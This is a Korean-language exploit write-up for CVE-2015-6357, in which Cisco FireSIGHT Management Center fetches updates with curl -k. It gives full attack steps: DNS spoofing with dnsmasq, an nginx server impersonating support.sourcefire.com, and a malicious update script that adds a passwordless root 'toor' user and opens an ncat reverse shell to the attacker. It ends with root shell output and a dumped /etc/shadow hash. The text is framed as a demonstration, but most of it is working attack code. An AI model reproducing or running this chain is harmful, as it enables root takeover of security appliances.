
CVE-2015-6357 Cisco FireSIGHT Management Center 인증서 검증 취약점 익스플로잇
Cisco FireSIGHT Management Center 인증서 검증 취약점은 자체적으로 중간 심각도로 CVSS 5.1의 취약점입니다.
하지만 이 취약점은 SSL 인증서 검증이 왜 그렇게 중요한지를 보여주는 예입니다. 이 익스플로잇에서는 이 취약점을 활용하여 Cisco FireSIGHT 시스템에서 권한 있는 원격 명령 실행을 얻는 방법을 시연합니다. 이 익스플로잇은 SSL 검증 취약점과 Cisco FireSIGHT 시스템의 소프트웨어 업데이트 프로세스를 연쇄적으로 이용하여 대상 시스템이 악성 업데이트를 다운로드하고 실행하도록 속여 루트 권한으로 리버스 셸을 얻습니다.

Cisco FireSIGHT Management Center 어플라이언스는 Cisco FirePOWER 침입 방지 시스템(IPS, 일명 Sourcefire IPS)을 관리하는 데 사용됩니다. FireSIGHT는 업데이트된 IPS 서명을 다운로드하여 관리되는 IPS 장치에 설치하는 역할을 합니다.
FireSIGHT Management Center는 관리자가 IPS 규칙 업데이트를 수동으로 시작하거나 매일/매주/매월 업데이트되도록 예약할 수 있습니다.
FireSIGHT Management Center가 업데이트를 수행할 때 UNIX 명령어인 curl을 사용하여 Sourcefire Support에서 다운로드를 수행합니다. curl 명령어를 호출할 때 -k (일명 --insecure) 옵션이 전달되어 curl이 서버가 제시하는 SSL 인증서를 검증하지 않도록 합니다.
다음은 업데이트를 다운로드하는 서버의 ps 출력입니다:
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh
FireSIGHT 업데이트는 makeself로 생성된 셸 스크립트 형태로 제공되며, 여기에는 UNIX Bourne 셸 명령어와 업데이트에 포함될 바이너리 데이터가 모두 포함됩니다. 이 업데이트 셸 스크립트는 FireSIGHT 서버에서 로컬 www 사용자로 직접 실행됩니다.
FireSIGHT 서버에 대해 중간자 공격을 수행할 수 있는 공격자는 위조된 Sourcefire Support 웹 사이트에 연결하도록 강제하고, FireSIGHT 서버에서 공격자가 원하는 모든 명령어를 실행할 악성 업데이트 스크립트를 다운로드하도록 할 수 있습니다.
SSL 검증 취약점으로 인해 시스템이 공격자의 위조된 SSL 인증서를 아무 문제없이 수락하고 악성 업데이트를 다운로드하여 실행하게 됩니다.
만약 curl 명령어가 SSL 인증서를 검증했다면 악성 스크립트를 다운로드하는 데 실패하여 FireSIGHT 서버를 공격자로부터 보호했을 것입니다.
이 익스플로잇은 SSL 인증서를 검증하지 않는 위험성을 보여주기 위해 취약점을 이용하여 루트 사용자로 원격 명령 실행을 얻습니다.
공격 시나리오는 공격자가 FireSIGHT 서버에서 https://support.sourcefire.com 웹 사이트로 가는 트래픽을 중간자 조작할 수 있는 능력을 얻은 경우입니다. 이를 가장 간단히 시연하는 방법은 "손상된" DNS 서버를 설정하여 support.sourcefire.com 도메인에 대한 쿼리에 공격자가 제어하는 웹 서버의 IP 주소로 응답하도록 하는 것입니다.
실제 공격 시나리오에서 공격자는 동일한 목적을 위해 다양한 중간자 기술을 사용할 수 있습니다. 예를 들면:
이 익스플로잇은 다음 FireSIGHT 가상 어플라이언스 버전에서 테스트되었습니다:
아래 PoC에서 FireSIGHT 서버에는 IP 주소 192.168.1.99가 할당되었습니다.
공격 호스트는 Kali Linux 2.0을 실행 중이었으며, 아래 설정은 Debian Linux 기반 서버에서도 작동해야 합니다. 아래 예시에서 Kali 호스트의 IP 주소는 192.168.1.1입니다. Kali 호스트는 DNS 서버와 위조된 Sourcefire Support 웹 사이트를 모두 실행하는 데 사용됩니다.
익스플로잇은 support.sourcefire.com에 대한 DNS 응답을 스푸핑할 수 있어야 합니다. 이 기능을 제공하고 "손상된" DNS 서버 역할을 하기 위해 dnsmasq 서버를 실행합니다.
dnsmasq 설치:
root@kali# apt-get install dnsmasq
dnsmasq 구성:
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF
address 줄의 IP 주소를 업데이트를 서비스할 웹 서버의 주소로 편집하세요.
dnsmasq 시작:
root@kali# service dnsmasq start
FireSIGHT 서버가 업데이트를 요청할 때 익스플로잇을 제공하기 위해 웹 서버가 필요합니다.
nginx 웹 서버 설치:
root@kali# apt-get install nginx
support.sourcefire.com을 가장하기 위한 자체 서명 인증서 생성:
root@kali# mkdir /etc/nginx/ssl
root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
-out /etc/nginx/ssl/nginx.crt
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:
/etc/nginx/sites-available/default의 내용을 다음으로 교체하여 nginx 구성:
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name support.sourcefire.com;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
location / {
try_files $uri $uri/ =404;
}
# 클라이언트 라이선스 키를 포함하는 요청 재작성
location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
}
location /auto-update {
root /var/www/html/firepwner;
}
}
nginx 시작:
root@kali# service nginx start
FirePWNER 익스플로잇을 위해서는 웹 서버에서 제공할 두 개의 파일이 필요합니다. 첫 번째 파일은 업데이트 매니페스트로, 사용 가능한 업데이트 목록, 다운로드 위치 및 MD5 해시가 포함된 XML 파일입니다.
먼저 몇 가지 디렉토리를 생성해야 합니다:
root@kali# mkdir \
/var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}
그런 다음 익스플로잇 파일을 해당 디렉토리로 복사합니다:
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
/var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh
이 파일들을 복사한 후 http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml로 접속할 수 있어야 합니다.
다음으로, 익스플로잇 시연을 위해 FireSIGHT 서버가 "손상된" DNS 서버를 사용하도록 구성해야 합니다. FireSIGHT 웹 포털에 로그인하여 System > Local > Configure > Management Interfaces로 이동한 후 기본 DNS 서버를 "손상된" DNS 서버의 IP 주소(192.168.1.1)로 설정하고 변경 사항을 저장합니다.
익스플로잇은 FireSIGHT 서버에 기본 설치된 ncat 명령어를 사용하여 Kali 호스트로 리버스 셸을 생성합니다. Kali 호스트에서는 FireSIGHT 서버의 리버스 셸 연결을 수신 대기해야 합니다:
root@kali# ncat -v -l 4444
그런 다음 FireSIGHT 웹 포털에서 System > Updates > Rule Updates로 이동하여 Download new rule update from the Support Site를 선택하고 Import 버튼을 클릭합니다. 서버는 공격자 서버에서 sf.xml 업데이트 매니페스트를 다운로드하고, 사용 가능한 업데이트가 있음을 확인한 후 www 사용자로 업데이트를 다운로드하여 실행합니다. 아래 업데이트/익스플로잇 스크립트는 www 사용자가 useradd를 포함한 여러 sudo 명령어를 실행할 수 있다는 점을 이용합니다. 익스플로잇은 비밀번호가 없는 새로운 toor 사용자를 생성한 후 su를 사용하여 권한을 상승시키고 공격자 서버로 리버스 셸 연결을 시작합니다.
#!/bin/sh
# 빈 비밀번호로 UID 0 "toor" 사용자 추가
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
-d /root toor
# su로 toor로 전환하고 리버스 셸 시작
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0
익스플로잇 스크립트는 원하는 다른 명령어를 실행하도록 변경될 수 있습니다. 스크립트를 변경한 경우 sf.xml의 <md5sum> XML 태그 값을 익스플로잇 스크립트의 새로운 MD5 해시로 업데이트해야 합니다.
다음은 익스플로잇이 성공하여 FireSIGHT 서버에 원격 셸이 열리고 id 및 cat /etc/passwd 명령어가 실행되었을 때 Kali 호스트에서 볼 수 있는 출력의 예입니다:
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::
이 익스플로잇에 사용된 파일은 github에서 얻을 수 있습니다.